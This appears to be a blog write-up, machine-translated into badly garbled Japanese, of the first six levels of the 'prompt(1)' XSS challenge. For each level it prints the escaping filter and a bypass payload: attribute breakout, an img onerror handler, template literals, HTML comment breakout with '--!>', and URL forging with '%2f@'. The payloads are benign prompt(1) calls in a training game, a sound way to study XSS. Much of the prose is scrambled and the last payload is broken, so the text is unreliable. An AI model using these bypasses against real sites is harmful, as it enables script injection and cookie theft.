参照するには、インターネット前にいくつかの時間のウェブサイトを覗き込む好奇心の下に、。勝利条件は、あなたが呼び出すことが許可された文字列を、入力することですprompt(1)
。予期しないものがたくさんあることを発見し、私は最終的にXSSについての話にここに来るために敷設されています。
XSSの原則
悪意のある攻撃者は、悪意のあるユーザーの目的を達成するように、ウェブスクリプトコード内に埋め込まページを閲覧したユーザが、実行された場合、スクリプトコードを使用して、悪質なWebページを挿入します。
XSS一般的なシナリオ
いくつかのプライベートブログは、攻撃者は悪質なコメントは、ポップアップalert
、これが最高の状態で冗談です。それがされている場合でも、クッキーを盗んで、異常が要求提出するより不快です、。
prompt(1)
Chromeバージョン62.0.3202.75(正式版)(64)
function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; }
まず
、それは前菜だった、これは現在、非常に低い無防備、任意のチェックをしませんでした。彼は、形成するために、戦いの文字列に直接値DOMを 入力ラベル我々は右を閉じ限り呼び出すことができるよう、そのラベルを。"><script>prompt(1)</script>
、文字列のスペルアウト<input type="text" value=""><script>prompt(1)</script>">
私たちのコードを挿入すると等価です。
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }
二
この難易度のが上昇し、されている/<\/?[^>]+>/gi
試合<>标签
な入力などのすべて、<script>prompt(1)</script>
変換が発生した後prompt(1)
、ラベル内の内容が置き換えられます。だから我々は、ブラウザ自身がフォールトトレランスするので、このラベルは閉じられていない試してみました。<img src onerror="prompt(1);"
よる方法img
ロードがsrc
呼び出しの失敗したonerror
アイデアを。
function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; }
第三
は少しこのピットの/[=(]/g
ように=数及び(番号は、我々はあなたがこれらのものを使用することができないとき呼び出そうので、置き換えられます。が使用する方法、ES6が備わっています。<スクリプト> prompt`1` </スクリプト>我々がそれを書く表示されますが、私たちは適応しなければならないので、なぜそれが、文字列が渡されるので、それはによって判断されていない、次のチャートを見ることができますか?有効になりません。<スクリプト> prompt.call </ SCRIPT> 、あなたが検証を介して実行できること。(値下げの言葉に`` ``内部を作成する方法)模板字符串
标签模板
${1}
function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; }
第四は、
これを使用すると、HTMLのコメント文の内側に配置し、とされている書き込み内容のように見える/->/g
1の交換。私は、プログラムに条件付きコメントを思うが、IEの条件付きコメントは、これは我々が前にテストしていないものです。--!><img src onerror="prompt(1);"
これはオフにすることができます使用
function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } }
第五
このURLを鍛造により、我々が使用しているされ、ユーザー名でアクセスしたURL、パスワードで保護された鍛造にします。http://prompt.ml%2f@url
URLは(1)、コンテンツプロンプトネットワークアドレスJSによって参照されます。もともと試してみたかったdata:text/html,<html><script>prompt(1)</script></html>
が、その後、成功しなかったjavascript:;
とabout:blank
非常に失われ、合格しませんでした。
function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; }
第六は/>|on.+?=|focus/gi
交換し>
、onxxxx=
そしてfocus
。特殊なタイプの入力タイプを通じ。
` "Image型のSRC = ONERROR
`(1)="プロンプト